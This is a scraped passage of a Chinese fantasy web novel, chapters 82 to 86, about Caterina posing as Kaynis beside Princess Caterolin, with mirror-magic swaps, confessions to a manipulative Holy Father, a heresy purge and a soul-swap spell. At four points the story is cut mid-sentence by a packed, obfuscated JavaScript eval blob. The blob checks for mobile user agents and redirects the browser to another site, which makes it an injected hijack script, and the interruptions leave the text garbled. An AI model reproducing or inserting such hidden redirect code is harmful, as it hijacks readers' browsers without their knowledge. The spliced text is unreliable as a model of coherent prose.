她不得不时时刻刻应付这个她一点都不喜欢的男人，跟他一起进餐，与他同乘马车。甚至他还厚着脸皮也加入了研习社，就像是牛皮糖一样粘着她。 这让凯特罗琳压力很大，出现了严重的焦虑和压力性胃痛。 “亨利*戴维德确实很不讨人喜欢。”卡特琳娜给凯特罗琳煮了缓解胃痛的魔法药剂，效果很好。 只有呆在医务室和凯妮丝在一起，是凯特罗琳最放松的时候。她喝完之后躺在医务室的床上，看着天花板，说：“真羡慕你。” “羡慕我什么？”卡特琳娜问。 “羡慕你的一切。”凯特罗琳喃喃说着，“如果，我能成为你就好了。” 82. 愿意相信 卡特琳娜将克里斯托弗*莱斯利的幽灵给了肯*沙穆，自己却在监督者13号的身上再发掘不到什么。 简妮已经被鹦鹉的本性同化，难以恢复人类的意识。甚至作为监督者来说，她也不太合格，并不具备相关的基本技能。于是卡特琳娜只能将这只拜厄小鹦鹉当做是宠物，养在医务室的阳台。 羡慕我？ 卡特琳娜其实能理解凯特罗琳的想法，但听到她这样说也不禁笑了。卡特琳娜经历的事情不算少，同样羡慕凯特罗琳能有这样天真的想法。 “你不用羡慕我，凯特罗琳。”她笑着，“你可以成为任何人，包括我，不是吗？” 凯特罗琳*古奥斯有了极佳的魔法学天赋，却没有深入学习的魔法的权利。作为王室公主，婚后她不被允许进修魔法学。 但在凯妮丝的帮助下，她现在已经算是镜子魔法学的巫师了，能够熟练运用不少相关的法术。甚至，她利用自己身份的便利，从王室图书馆中偷摸找到了部分关于镜子魔法的典籍，与凯妮丝分享知识。 “虽然是这样没错，但我知道我从本质上来说还是凯特罗琳*古奥斯。”凯特罗琳觉得自己的胃痛好了很多，但还是不想要动弹，仅仅是躺在床上。 卡特琳娜不同意她的说法，辩驳道：“你的本质是由你自己决定的，并不是由你的出生、你的身份和你身上流的血决定的。” 她并不是想要模糊凯特罗琳对自己的身份认知，而是她确实这样认为。她从白钰到卡特琳娜，到凯特罗琳，再到凯妮丝，如果她不是从心底认可自己的本质，她早已经迷失。 即使她对自己的认可，可能是错的，但只要她坚信，就会有坚持的必要。做不到心志坚定，那就只会像简妮，彻底成为一只鹦鹉。 “真的可以这样吗？”凯特罗琳对现状不满，却无能为力。她身上和心里的枷锁太多，很难一下子都破除掉。 “没关系。”卡特琳娜摸了摸她的头，就像是摸着自己一样，安慰说，“你先睡个午觉，不要想这些烦恼的事情。你还有很长的时间，慢慢考虑自己想要成为一个什么样的人，过什么样的生活，一切都来得及。” 凯特罗琳在轻柔的抚摸下进入了梦乡，她信任凯妮丝，就像是信任另一个自己。 * 卡特琳娜并不知道肯*沙穆在谋划什么，但每个周日她都会与凯特罗琳进行镜影谬换术，然后她以凯特罗琳的身份向圣父进行告解。 说是告解并不确切，实际上是更像是日常汇报。 她将一周中经历的事情都悉数告知，以获得圣父的启事。肯*沙穆对她还有所顾虑，并没有交代她做任何事情，倒真像是普通牧师一样开解她、引导她、宽慰她。 “内利*泰勒似乎获得了什么线索，最近频繁到区部教堂。”肯*沙穆笑着提醒道，“你也要小心他，也许当他发现监督者13号被养在学院医务室，凯妮丝就又放大了。” 卡特琳娜知道内利*泰勒不是那么无能的男人，他也许早就已经知道，只是避忌着什么才一直没有现身。她说：“他只是在追查最近费里特成立发生的多起因多学派研学导致的精神分裂自杀事件，这些事件看起来像是自杀，但同一段时间发生这么多起，就有点像连环杀人案了。” “连环杀人案……”肯*沙穆笑了笑，摸着她的头顶，“多学派研学屡禁不止，教会应该再多费心才是。” “不如重整律法吧。”卡特琳娜提议。 肯*沙穆表情没有变化，将手收回，沉默不语。 卡特琳娜知道自己不能轻易冒犯统治者的权威，另起话题道：“魔法协会的科普工作做得不够充分，民众对于多学派研学的危害还不够了解。全国的义务教育普及实在是太少，大部分人目不识丁，稍有异端教唆便走入了歧途。” “那铲除异端不就行了吗？”肯*沙穆说，“这并不只是简单的自杀案或者是连环杀人案，是异端对主神的威胁。” 在肯*沙穆的主导下，费里特掀起了一阵铲除魔法学异端的革命浪潮。教会在全国范围内抓捕使用黑魔法和多学派研学的异端，将其烙印上了被魔鬼诱惑的标签。 火刑魔鬼之仆的运动进行得如火如荼，费里特再没有出现过多学派研学的自杀事件。 但卡特琳娜知道，并不是这些事件不再发生，而是它们都潜藏在了冰层之下。 内利*泰勒本就身份敏感，作为无神论者，他被迫提前退休，无法再在警局进行相关的工作。据说他开了一间私人侦探所，帮助有需要的民众调查需要的真相。而他自己想要探索的真相是什么，就不得而知了。 卡特琳娜有了肯*沙穆的背书，学院生活进行得很顺利。 她以凯妮丝的身份与凯特罗琳成为了形影不离的好朋友，即使斐丽佳和诺维雅不喜欢她，却也不得不接受她的存在。 她加入了凯特罗琳的魔法研习社。 为了帮助凯特罗琳避开烦人的亨利*戴维德，她们两人合计后将研习社更名为十四仙盟诗社，只允许学院内参与过流花节十四仙盟游行的女学生加入。 其他女生听到这样的概念，都觉得非常浪漫，愿意支持这个学生社团成立。凯特罗琳、凯妮丝、斐丽佳和诺维雅等人，便成为了拜厄皇家学院第一届十四仙盟诗社的骨干成员，以她们上一年参与流花节的仙女身份相称。 亨利*戴维德作为准未婚夫，没能参与到其中，而感到非常遗憾。即使课业非常忙碌，他也不忘日日护送凯特罗琳，献上鲜花或者是写作情书。 这肉麻程度令一旁的女同学们老是给凯特罗琳开玩笑。 不过毕竟没有真的结婚，凯特罗琳还能找机会避开，等到毕业后，他们就要结婚了。 所以她相当珍惜在学院的学生生活，努力学习魔法，在扮作凯妮丝时会在费里特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233014|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城里城外畅玩。 二年级结束后的暑假，在她苦苦恳求下，她再次与凯妮丝交换了身份。她本想要就这样逃走，再也不要回到费里特。 但没想到她学艺不精，镜影谬换术无法支撑太远的距离，当她到城郊的时候，她就恢复了原本的容颜。感应到她距离的凯妮丝竟然带着圣父肯*沙穆一起来找她，这让她意识到，圣父果然知道这一切，她根本无法逃脱。 圣父并没有责怪她，而是将她和凯妮丝都带到了费里特大教堂。 她浑身颤抖，认为自己将要面对严酷的惩罚。毕竟如今全国还在广泛清除异端，她偷偷学习禁忌魔法的事情被教会得知。即使她是公主，也有可能被打上魔鬼之仆的标签。 “不要怕。”凯妮丝安慰她，搂着她的肩膀。 她们在一个小房间里等待圣父，凯特罗琳突然觉得面前的凯妮丝很陌生。她问：“你把一切都告诉圣父了吗？每周日都是你替我去告解，所以是你跟他说了吗？” 凯妮丝回答：“是的。” “你背叛了我。”凯特罗琳浑身颤抖，她推开凯妮丝，不敢相信。她如此信任她的朋友，却没想到自己被背叛了。 “我没有背叛你，凯特罗琳。我告诉他是因为我不得不这样做，他什么都知道。”凯妮丝向她解释，“别怕，我不会让他伤害你的。” 凯特罗琳怎么可能不怕，她从小便受到严格的教育，受到圣父的洗礼。圣父是比她父亲国王托因比还要更加伟岸的存在，即使国王没有了，圣父也还会在教皇的位置上掌控整个拜厄。 凯妮丝没有说话，但凯特罗琳听到了她的声音。凯特罗琳知道，这是她们练习过的传音术。通过灵力传音的话，就不会被人偷听到了。凯妮丝不想让圣父知道，她们在进行秘密的对话。 “你愿意再相信我一次吗？”凯妮丝问她，“我会把你从他的魔掌下救出来，让你去过自己想要的生活。” “可是我是拜厄的公主，我怎么可能离开……”凯特罗琳的泪水在眼眶里打转，“我永远无法过我自己想要的生活。” “你不是想要成为我吗？”凯妮丝安慰着她，两人的额头贴在一起，“你可以成为我，然后你去过你想要的生活。只是可能不是现在，你太着急了，我们的实力还没有到那种程度。” 凯特罗琳的情绪平静了下来，她知道凯妮丝不会伤害她。凯特罗琳问：“为什么？作拜厄的公主身不由己，没有自由，为什么你会愿意帮我，愿意成为我？” “凯特罗琳，你在寻找你自己，我也在。”凯妮丝回答说，“很高兴你已经知道自己想要的是什么了，但我还不知道。我们的命运交织在一起，希望总有一天我们都能成为自己想要成为的人。” “你愿意再相信我一次吗？”这一次凯妮丝没有再用传音术，而是直接对她问道。 凯特罗琳没有犹豫，回答说：“我愿意。” 83. 人生大事 凯特罗琳觉得自己失去了一段记忆，同时感受到生活与之前有了很大的不同。她与凯妮丝的友谊日渐增长，却与斐丽佳和诺维雅日渐疏远，后妈碧翠丝也很少再来找她麻烦。 她有时候很胃痛，喝了凯妮丝给她的魔法药剂后会好很多，但之后胃痛发作得越来越频繁。以至于她开始掉头发，却不知道与胃痛有没有关系 奇怪的是，她银色的头发掉下来之后，慢慢的会长出黑色的发茬。这让她恐慌无比，因为古奥斯家族一向是以银发银眼为特征。若是被人知道凯特罗琳公主长出了黑色的头发，那她一定会被质疑血统的纯正性。 这件事，就算是对凯妮丝她也说不出口。 她只能自己用魔法染色剂将新长出来的头发变成银色，维持着古奥斯王室公主的典型外貌特征。 但一切都在慢慢改变着，有什么在潜移默化地影响着她，影响着周围的人。 第三学年的基础魔法学偏向于实践性，有不少实习课程。凯妮丝有很多点子，以十四仙盟诗社为基础，又成立了发明社，说是要发明创造对生活有便利的魔法物品。 没想到她真发明出了不少厉害的东西，像什么电报机、魔法驱动车、电灯、照相机和洗衣机等。最具有革新性的是魔法发电机，这种东西能以魔法为源动力，向其他需要魔法发动的物品提供源源不断的能量。 在她的启发下，发明社的其他成员也相继发明了一些稀奇古怪的东西。 她将她的发明成果发布在拜厄皇家学院的学术报刊上，引起了社会的很大反响。 许多商人或巫师从世界各地来问她获取发电机的制作方法，但凯妮丝提出了“专利”这个概念，声称自己拥有制作发电机的独家权利，若是其他人想要使用，则需要得到她的授权。 在凯妮丝的建议下，凯特罗琳主动向王室提交了关于“专利”立法的方案。没想到在后续的会议中很顺利通过，也得到教会的一致同意——毕竟每一次专利的授权转让都会给政府很大比例的税费。对于这种坐地收钱的事情，他们当然没有理由反对。 甚至王室为了支持专利立法，从其他部门调派了两位专员成立了魔法专利管理局，负责专利的申请、审核、批准和授权。 凯妮丝通过授权专利，赚到了人生的第一桶金。当然，作为一个未出阁的女学生，她的财产只能由她的养母琼*库克来管理。 琼*库克一夜之间成为了费里特商界的新贵，王室办公室邀请她参与工商管理的最新立法专案。 拜厄是一个典型的封建王权国家，贵族和教会特权阶层控制了整个国家的政治和经济命脉。整个社会以农业为根基，农民承担着沉重的封建赋税，生活在最底层。 但是在经历几十年的和平发展时候后，拜厄的的商业和手工业兴起迅速，与周边国家的贸易市场愈发繁荣。也就是在这样欣欣向荣的情况下，拜厄开始了大张旗鼓的异端铲除运动，将对封建王权有威胁的势力扼杀在摇篮之中。 之后，虽然拜厄的经济受到不小创伤，但教会对各个地区的掌控更加稳固。内忧解决，外患却仍存在。北方的希博王朝虎视眈眈，南部的流民难以管理，西方的所多曼群岛战事频发，东部的沙漠神秘莫测。 为了继续巩固自身的统治，在肯*沙穆的倡议下，政府不得不开始全新的立法政策。针对各个领域，开展不同的立法专案。 也是因为这样，斐丽佳和诺维雅对凯妮丝似乎有了改观。她们不再揪住凯妮丝是不明身份的贱民这个问题不放，承认了她确实有实力作为年级绩优生获得魔法进修生名额。 而即使凯特罗琳是王室公主，也没有进修魔法的权利。在这一学年结束之后，她便会与亨利*戴维德成婚。然后，她便会作为相亲教子的女人退出公众的视线。 至于亨利*戴维德，则是被王室寄予厚望。他双修军事政治学和天灵派魔法学，还在王室办公室实习。即使已经忙得脚不着地，他也能空出时间陪同公主出席各种公开活动。 在外人看来，这位未婚夫做得相当得体，不愧是王室的继承人备选。 但对于凯特罗琳来说，亨利*戴维德实在是令她感到不安。有时候她会梦见自己捅了他一刀，他倒在血泊里，挣扎着去抓她的脚踝。她过于害怕了，只能把他的手腕给割下来。 从梦中惊醒后，她会去检查月亮铃，但完全没有任何异常。这并非是恶灵侵扰，而是她自己的心理障碍。 有时候亨利*戴维德与她同行，拉着她的手将她扶下马车时，她会有一种被扼住喉咙的感觉。 也许她真的出问题了，以前即使没有特别喜欢阿伦*沙穆，她也很愿意和他呆在一起。毕竟他是个美男子，而她是十几岁的花季少女。 亨利*戴维德也算是英俊少年，为人处世得体周到，周围的人都会说两人般配。但凯特罗琳打从心底里恐惧着，觉得他会在转身的时候将利刃刺向她。 “也许不是心理恐惧症，而是某种危险预感。”凯妮丝帮助她分析道，“入门进阶魔法之后，我们就不能以常理来看待自己的感觉。巫师的直觉是伴随着灵力的感应，一切都有迹可循。” 凯特罗琳对凯妮丝非常信任，觉得她是真正对自己好的人。 “也许你应该利用你的这种敏锐，通过镜子魔法预言术来获知更多的信息。”凯妮丝的建议非常合理，“我会与你一起，我的力量就是你的力量。” 这是她时常说的话，让凯特罗琳觉得她们会永远是一体的。 在学习魔法方面，也一直是凯妮丝带领着她，她不希望自己落后。她要追赶凯妮丝的脚步，与她并肩前行。 虽然她们总是形影不离，但偶尔也会有分开的时候。毕竟她是十四仙盟诗社的日仙女——名义上的社长，但实际上的社长是凯妮丝——夜仙女。她们与十二月仙女的友谊得到了许多称颂，甚至作为了王国公报的文章传颂到了全国各地。 “凯妮丝！” 凯特罗琳转过头去，发现是女同学玛吉。她见到是公主，略微一愣，匆匆道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凯特罗琳的婚事不得不被推迟，甚至在战事的背景下，拜厄推动了全民军事教育的浪潮，鼓励民众习武练法。作为拜厄的公主，凯特罗琳以身作则，在未成婚之前，继续留在了拜厄皇家学院学习。 虽然不能继续魔法深入研究，但她开始了对法典的研究，成为了整个国家的教育模范。 边境的战事并没有波及到拜厄的首都费里特，在政府的改革政策下和魔法发明的影响下，一切都显得那么繁荣。人民的生活都在往好的方向发展，甚至魔法发明的很多物品都在军事上有着广泛的应用。 可惜的是，在与希博王朝冰释前嫌的合作下，拜厄的军队没能彻底击败莫里安，反而让莫里安占领了北方最大的城市蒙托。希博国王鲁鲁托往更北方逃亡，拜厄趁机骚扰他们的边境。 亨利*戴维德在冰港屠城事件中负伤，不得不从前线回到费里特。 虽然不算大胜而归，但也是功勋累累。亨利的回归意味着凯特罗琳不得不面对她的人生大事了，当然，这也是凯妮丝*库克的人生大事。 84. 她的告解 在亨利*戴维德凯旋归来的前夕，整个费里特都沉浸在庆典的氛围中，王宫的气氛变得紧张而忙碌。 凯特罗琳公主的婚事再次被提上日程，甚至为了即将到来的婚礼，凯特罗琳的生母前王后罗拉也会从古堡过来，在婚礼现场露面。但这件事不再让她感觉到焦虑，因为她已经做好了准备。 她准备逃走，她相信只要有凯妮丝的配合，她们一定能离开费里特王宫这个牢笼。 然而，让凯特罗琳没想到的是，凯妮丝拒绝了她。 “我可以帮助你离开，但我会留下来。” “为什么？你不愿意跟我一起走吗？” 凯特罗琳感到震惊和背叛，她无法理解为什么凯妮丝会在这个时候选择留下。她们的友谊难道都不足以让凯妮丝与她一同离开吗？ 凯妮丝眼神坚定，解释道：“我不能走，我有我的责任和使命。每周日，我都必须去费里特大教堂向圣父告解。但我不会阻止你放弃你的责任和使命，这是你自己的选择。我会给你提供一切你需要的帮助，让你安全离开，去过自己想要的生活。” 凯特罗琳的耳边似乎响起一些朦朦胧胧的对话，但她听不明晰。 她现在心情复杂，感到孤独和害怕。 从很久以前开始，每周日凯妮丝就会代替她去费里特大教堂面见圣父。她本以为这是凯妮丝爱她的表现，因为她很不喜欢面对那个极具压迫感的男人。 某种奇怪的感觉自心底升起来，凯特罗琳声音颤抖：“凯妮丝，我们都是人灵派的巫师，对于情绪和感情有着极其敏感的感知力。但你不觉得你对圣父的执念过于违和了吗？为什么每个周日，你就必须去见他？我，我以前从没有感觉到不对劲，难道也是被某种力量影响了？” 这些年，她们精进魔法学，已经不仅仅是初级的程度。虽然一直藏在暗处进行修炼，但能够基础达到资深的水准。尤其在镜子魔法学的领域中，她们必须频繁出入镜界。 凯特罗琳跟随凯妮丝进入过镜界很多次，知道她一直在留意某个镜子，似乎是很多年前丢失的宝物。在镜界中她们携手战斗，处于模糊边界时凯特罗琳偶然听到过凯妮丝提起“米洛”，那应该就是她所想要寻找的镜子的名字。 对她来说，凯妮丝是一个非常神秘的人，但她愿意相信她。 可是，现在凯妮丝不愿意继续陪在她身边了，这让她不禁慌张且急切。她寻找凯妮丝会这样的根源，想要劝她跟着自己一起离开。 “我们确实都被影响着，但同时，我们也能够去影响别人。”凯妮丝从来不是那种惧怕权威的人，“只要自己的影响力足够大，那被影响的部分便会被相应抵消。凯特罗琳，你发现了这一点，已经迈出了很大的一步。即使你一个人在镜界中行走，我也能够放心了。” 虽然在外人看来凯特罗琳和凯妮丝是一对形影不离、无话不谈的至交好友，但实际上凯特罗琳觉得凯妮丝更像是她的导师。所有的镜子魔法学知识都是凯妮丝教会她的，甚至魔法哲学和人生信念也是凯妮丝在引导。 以前，她只是一个安于现状混混度日的公主，自从遇到了凯妮丝她才知道自己想要的是什么。 所以，凯特罗琳不能够眼看着凯妮丝陷入泥潭而自己抽身离去。她感觉到圣父肯*沙穆对凯妮丝的精神控制，甚至于自己也受到了一些影响。 凯特罗琳不知道该说什么，她知道她说什么都无法轻易改变凯妮丝的想法。凯妮丝却拿出了一本魔法书给她，说：“这是之前从某个秘境中获得的秘典，也许对我们会有帮助。” 凯特罗琳翻开，这里面都是一些禁忌魔法，其中有一项是最高阶的镜子魔法之一——镜换术。她可以进入某个镜界当中，代替那个镜界中与她对应的凯特罗琳，而那个凯特罗琳则会来到她的世界中代替她。 看到这里，凯特罗琳感觉毛骨悚然。 之前她与凯妮丝到过许多镜界中去，也偶然在暗中见到了自己的镜中人。但由于她一直没能找到对应自己唯一性的镜界，所以她并没有办法接触到这些镜界里的人或物，对其中的历史没有任何影响，只相当于是一个看不见的幽灵。但当她们作为幽灵在镜界游荡的时候，会遭遇非常多的危险——其他幽灵的恶意，驱魔巫师的净化，以及自身的迷失。 她并没有能完整观察某个凯特罗琳的人生，但确实目睹过有一些“自己”过着令她本人羡慕的自由自在的生活。 如果真如这诡异的魔法所描述，那她完全可以选择一个她想要代替的凯特罗琳，与其交换人生，将时间点控制好，就能够神不知鬼不觉。除了两个人是镜面状态这一点难以优化外，基本上不会留下任何痕迹。 但，凯特罗琳并没有办法将她的镜中人完全当做是自己，那明明就是另一个不同的人。她做不到夺取他人的人生，只为了让自己过得随心所欲。 面对凯妮丝的时候，她却没有直接拒绝，而是说：“好，我也，再考虑看看吧，这件事也急不得。” 后来，她们便没有再谈过这件事情了。 凯妮丝热衷于参加教会活动，她的发明社向教会捐赠了许多专利授权，与教会联合成立一个基金会，号召全社会的有能之人通过教会公开对国家有利的发明创造。 虽然凯特罗琳也是其中高层管理人员，但她不过是挂名，凯妮丝才是真正的实权管理者。 凯妮丝相当忙碌，有无数的公务需要处理。 但她再忙，也不会忘记每周日的告解。当天，凯特罗琳与她进行了镜影谬换术，却并没有扮演凯妮丝，而是镜影谬换术时略施小计将部分灵藏进了凯妮丝的影子里。 这是一种高级的隐匿魔法，能够让她在短时间内与另一个人的影子融为一体，几乎无法被察觉。她知道这是一次冒险，但她必须知道真相。 费里特大教堂与王宫毗邻，扮作公主的凯妮丝仅仅只需要事务官的陪同便能步行到教堂。 由于教堂是神圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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圣父肯·沙穆的声音低沉而富有磁性，他轻声说道：“凯妮丝，我的孩子，很高兴见到你。” 他的话语中带着一丝不易察觉的温柔，这让凯特罗琳感到震惊。 凯妮丝笑着，声音不是平常的那种冷淡，也变得细腻起来：“圣父过誉了，我只是尽我的本分。” 她的回答虽然恭敬，但语气中却透露出一种难以言喻的亲昵。 圣父轻轻地笑了，他走近了凯妮丝，两人之间的距离变得异常接近。他轻声说：“在你开始告解之前，我想说的是，你发明的电报系统为国家做出了巨大的贡献，尤其是在前线战役中，成为了目前阶段获得胜利的关键。我必须代表教会向你表示感谢。” 他的手轻轻地放在了凯妮丝的肩膀上。 凯妮丝没有躲避，她抬头看着圣父，眼中闪烁着复杂的光芒：“我所做的一切都是为了教会，也是为了圣父您。” 圣父的眼神变得更加深邃，他的手轻轻地滑落到凯妮丝的肩膀，他在凯妮丝的额上落下了一个吻。然后他轻声说：“凯妮丝，现在你可以开始你的告解了。” 85. 她的噩梦 凯特罗琳对后面他们说了些什么都不太关心了，她与凯妮丝的影子融为了一体，沉浸在了深沉的黑暗里。 她不想在这里继续久留，从门缝溜了出去，通过镜子转移术隐藏在教堂的玻璃镜面里。 凯特罗琳回到了学院，却不知道自己该做什么。 以前她会很期待与凯妮丝身份互换，她能够摆脱事务官的监视从而得到喘息的机会。她会在周末去费里特的街市，或者去城郊的镇上，如果运气好碰上节日，她会高兴地参与进去。 但现在凯妮丝也是费里特的名人了，走去哪里免不了受到瞩目。这让凯特罗琳不得不遮住脸，或者是易容一番才能够出门。 本来今天她打算去圣马河的游船上参加美食沙龙，但现在已经全没有了兴致。她呆坐在学院路边的长凳上，回想起与凯妮丝的点点滴滴，那些共同学习魔法、探索未知的日子，那些在镜界中的冒险，还有凯妮丝对她的指导和鼓励。 凯特罗琳一直以为她们之间的友谊是纯粹的，但现在，她开始怀疑这一切背后是否隐藏着什么她不知道的秘密。 她起身漫无目的地走着，脚步不自觉地引领她来到了后山森林的人工湖，这里是她以前最喜欢与阿伦*沙穆呆的地方，也是她与凯妮丝分享秘密的圣地。 “凯妮丝！” 简妮看到她后叫着凯妮丝的名字，飞过来停在她的肩头。这只鹦鹉是凯妮丝不知道从捡到的，与学院内的监督者品种一样，但明显呆笨许多。 凯特罗琳没有理会她，她便飞到了湖边，吸一口水又吐出来，营造一种小喷泉的感觉，然后抱怨了一句：“凯妮丝！你都不对我笑！” 凯特罗琳立即笑了一声，说：“喷泉是这样子的。” 她用魔法，让湖面激起了猛烈的水花，清凉的水珠溅在了简妮的身上和她的脸上。 这还是之前凯妮丝给她看过的喷泉的画面，五颜六色、水花斑斓。凯妮丝知道特别多的事情，知道这个世界上不存在的、没有过的很多很多事情。 简妮回到了她的肩头，看着湖面看得呆了。 凯特罗琳问：“简妮，如果给你一个机会，可以不用再做鹦鹉，你想要成为什么？” “卡特琳娜！” 也不知道简妮听没听懂她问的话，便喊着：“卡特琳娜！卡特琳娜！” “卡特琳娜是谁？”凯特罗琳无奈地笑着。 拜厄小鹦鹉本来智商就在鹦鹉当中不算特别高，但好歹也是有四五岁小孩的水准。令人遗憾的是，简妮的智商可能只有两三岁的孩子，偶尔能够对话，但总是答非所问，过于跳跃性。 凯特罗琳其实并不关心简妮的答案，实际上她是想要问自己。 如果她有机会可以选择，她会成为谁呢？她到底要不要用换镜术，选择某一个镜界中的自己，夺取她的人生？ 也许她可以有别的选择。 “如果是我的话。”凯特罗琳想了很久，自言自语道，“我还是想要成为凯妮丝。” 凯特罗琳拿出了那本魔法书，翻到了换镜术的后面，里面夹着一张纸，上面记录着另一个诡异的魔法——换魂术。这是一种幽灵魔法学派的高阶魔法，需要复杂的仪式和准备，能够将两个人的灵魂完全交换。 她能认出来，上面是阿伦*沙穆的笔记。她有时候很怀疑，在当年的凶杀案中，阿伦真的是由于多学派研学导致的精神分裂自杀吗？ * “你叫什么名字？” “我？我没有名字。” “你会有名字的！不是每个人出生就有名字，很多人的名字也是院长后来取的。不过我的名字是我爸妈给我取的，我叫白钰，白色的白，金玉的钰，今年五岁了！” “你就是白钰吗？我的孩子！你还活着，谢天谢地！” 卡特琳娜突然从梦中惊醒，她下意识去看窗边，才意识到现在自己是作为凯妮丝睡在宿舍的床上，窗边并没有月亮铃。 她很久没有做噩梦了，但在亨利*戴维德回归的前夕，她的情绪变得不太稳定。她总是梦到以前世界里的事，这是她潜意识里对自己的警示，绝不能忘记，绝不能忘记。 “！” 她回头见到了一个黑影，便准备念出咒语。 “凯妮丝，是我。”竟然是凯特罗琳，她穿着睡衣，坐在床沿。 “你怎么会在这里？”卡特琳娜终于放下心来，松了一口气。她信任凯特罗琳，就像凯特罗琳信任她一样。 “你怎么忘记了，周天是周三，我被允许在学校留宿。”凯特罗琳钻进了她的被窝里躺下，拉着她的手说，“我自己一个人睡不着，所以我找你想跟你一起睡。” 她们是无话不谈的好朋友，是最亲密的关系。 卡特琳娜重新躺下，闭上了眼睛，却仍有些疑问：“不过现在已经很晚了，你怎么才过来睡觉？” “我做了一个噩梦。”凯特罗琳说。 卡特琳娜有些迷迷糊糊了，问：“什么梦？” “我梦到亨利*戴维德回来了，我们举行了婚礼。”凯特罗琳的声音很轻，就像是催眠曲，让卡特琳娜半梦半醒，“这意味着我和他成为了夫妻，我们的使命理所应当是为古奥斯王室诞下继承人。当然，亨利*戴维德并不希望我生下一个男孩，如果是男孩的话，他只能作为继承人的父亲，而不是继承人本身。” 卡特琳娜转过了身，几乎就要入睡了。 凯特罗琳继续说：“后来，我生下了一个女儿。她就像是一个天使，特别可爱动人。我想要把世界上的一切都给她，不希望她受到和我一样的不公平对待。再后来，圣父给她进行了祈福仪式，并给她取了名字，叫做卡特琳娜。” 卡特琳娜在黑暗中睁开了眼睛，呼吸突然滞住。是的，卡特琳娜*范维西是凯特罗琳*古奥斯的女儿。 她来到这里之后，便一直都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本来应该是好事，但她似乎有些特殊。白天的时候她就是普通的小婴儿，但到了晚上。她会长出翅膀和獠牙，变成魔鬼——也许不是魔鬼，反正是某种邪恶恐怖的存在。”凯特罗琳似乎陷入了回忆，“总之，她把我吓到了。我不敢相信我竟然会生下这样的孩子，因为这就意味着我的本质可能与她是一样的，不是吗？” 她顿了顿，补充道：“人类只会生下人类，魔鬼才会诞生魔鬼。” 卡特琳娜很想给她解梦，但在凯特罗琳的述说当中她又变得困倦非常。她实在是睁不开眼睛，沉沉睡过去了。 在睡着之前，她想的是，也许是凯特罗琳太过于担心即将到来的婚礼，所以才会有这样的异常梦境。 她很愿意帮助凯特罗琳离开费里特，再也不要回来。 她以前也思考过，她该遵循她曾了解过的历史来重演过去，还是任由这些事件自由发展？如果她真的成为了凯特罗琳，她又该怎么办？ 她有那种实力坐到拜厄的王座之上吗？ “凯妮丝……”凯特罗琳感觉到她已经睡着了，便坐起身来，低声自语，“我已经不是那个需要你帮助的小孩了。现在，我会用我自己的实力来救我自己。” 86. 凯旋仪式 这种混沌的感觉，卡特琳娜已经很久没有感觉过了。 正因为她偶尔会有清醒的时候，所以才察觉到自己正处于混沌的状态中。她依照这个世界的规律行事，学习魔法，成为优秀的巫师，甚至将她在以前世界里见到过的概念带到这里用在发明当中。 明明一切都是在朝好的方向发展，她与凯特罗琳密不可分。虽然她并没有成为公主，但她通过王室与教会绑定了联系，她会在暗中帮助教皇肯*沙穆做一些事情，肯*沙穆也相当支持她的事业，对她尽心尽力培养。这会让她想起那个捉了她做药人的巫师，是那种熟悉的感觉。 那，究竟是什么地方出现了问题呢？ 这么长时间以来，卡特琳娜已经习惯了这里的生活，作为凯妮丝或者是凯特罗琳。记忆里的洛尔兰变得模糊，她甚至快想不起海因里希或者是相关的其他人的脸，更不要提以前世界里的细节。 明明魔法实力在不断增长，但她却仿佛被绑住了手脚，再也没有办法任由心意动弹。 “你还没有准备好吗？”圣父的话时不时在她的耳边回响。 她已经准备了太久，但她却还不能说自己已经准备好了。从一开始，她的打算就是利用凯特罗琳成为拜厄的公主…… 如今凯特罗琳已经得到了换魂术的方法，并且她有着成为凯妮丝的决心，卡特琳娜的准备已经万无一失了。 但为什么，她总觉得缺了点什么？ * 亨利*戴维德带着军队凯旋，费里特举城迎接。 彩旗飘扬，鲜花铺地，整个城市都沉浸在一片喜庆和热烈的气氛中。市民们穿着节日的盛装，脸上洋溢着兴奋和期待的笑容，他们聚集在街道两旁。 凯特罗琳随着国王托因比在王宫广场等候，旁侧还有一众大臣。碧翠丝并没有到现场，由于她多年未孕，国王已经有了休妻的打算，将她冷落在宫中。 随着城门缓缓打开，一队队身着鲜亮铠甲的骑兵率先进入城中。他们手持飘扬的旗帜，整齐划一地骑行在街道上，马蹄声和金属铠甲的碰撞声交织成一首雄壮的进行曲。骑兵们的眼神坚定，身姿挺拔，彰显着军队的威严和力量。 在乐队的伴奏下，一辆装饰华丽的马车缓缓驶来，车上坐着的就是凯旋的亨利·戴维德。他已经由少将擢升为上将，身着戎装，胸前挂满了勋章，脸上带着自信和威严的微笑。 市民们欢呼雀跃，他们挥舞着手中的花束和彩带，向将军表达着敬意和感激。孩子们被举过头顶，女人们抛洒着花瓣。 